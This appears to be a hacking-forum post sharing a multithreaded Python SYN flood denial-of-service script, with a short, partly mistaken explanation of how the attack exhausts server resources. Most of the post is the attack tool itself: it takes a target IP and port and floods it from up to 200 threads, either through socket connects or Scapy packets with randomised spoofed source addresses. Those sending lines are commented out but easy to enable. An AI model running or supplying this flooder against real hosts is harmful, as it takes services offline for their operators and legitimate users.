SynFlood Dos [Python]

[ZionHD]

This script uses multiple threads to flood your target using the Syn/ACK 3 way handshake attack. This drops connections once it finishes the second step, I believe correct me if I'm wrong. This will make the target wait for a packet that will never come and cause it to be unresponsive. The reason it crashes or becomes unresponsive is because the server is consuming a lot of resources by waiting for a packet that will never come plus your flooding it repeatedly causing multiple connections to be opened. This is what I believe. This script is coded in python so it should end with .py if you save it on your pc or server.

Wiki's Definition of SynFlood:
A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.

#!/usr/bin/env python
#########################################
# 
# SYNflood.py - A multithreaded SYN Flooder
# By Brandon Smith
# brandon.smith@studiobebop.net
#
# This script is a demonstration of a SYN/ACK 3 Way Handshake Attack 
# as discussed by Halla of Information Leak
#
#########################################
import socket
import random
import sys
import threading
#import scapy # Uncomment this if you're planning to use Scapy

###
# Global Config
###

interface    = None
target       = None
port         = None
thread_limit = 200
total        = 0

#!# End Global Config #!#

class sendSYN(threading.Thread):
    global target, port
    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        # There are two different ways you can go about pulling this off.
        # You can either:
        #   - 1. Just open a socket to your target on any old port
        #   - 2. Or you can be a cool kid and use scapy to make it look cool, and overcomplicated!
        #
        # (Uncomment whichever method you'd like to use)

        # Method 1 -
#        s = socket.socket()
#        s.connect((target,port))

        # Methods 2 -
#        i = scapy.IP()
#        i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
#        i.dst = target

#        t = scapy.TCP()
#        t.sport = random.randint(1,65535)
#        t.dport = port
#        t.flags = 'S'

#        scapy.send(i/t, verbose=0)

if __name__ == "__main__":
    # Make sure we have all the arguments we need
    if len(sys.argv) != 4:
        print "Usage: %s <Interface> <Target IP> <Port>" % sys.argv[0]
        exit()

    # Prepare our variables
    interface        = sys.argv[1]
    target           = sys.argv[2]
    port             = int(sys.argv[3])
#    scapy.conf.iface = interface # Uncomment this if you're going to use Scapy

    # Hop to it!
    print "Flooding %s:%i with SYN packets." % (target, port)
    while True:
        if threading.activeCount() < thread_limit: 
            sendSYN().start()
            total += 1
            sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)